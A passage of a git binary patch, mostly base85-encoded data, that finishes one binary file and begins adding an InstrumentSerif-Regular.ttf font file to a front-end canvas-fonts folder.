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 EZwtSNl>h($ literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSerif-Regular.ttf b/skills/frontend-dev/canvas-fonts/InstrumentSerif-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..976303184a522174d92bc8d1a82d7960850a94b0 GIT binary patch literal 69312 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 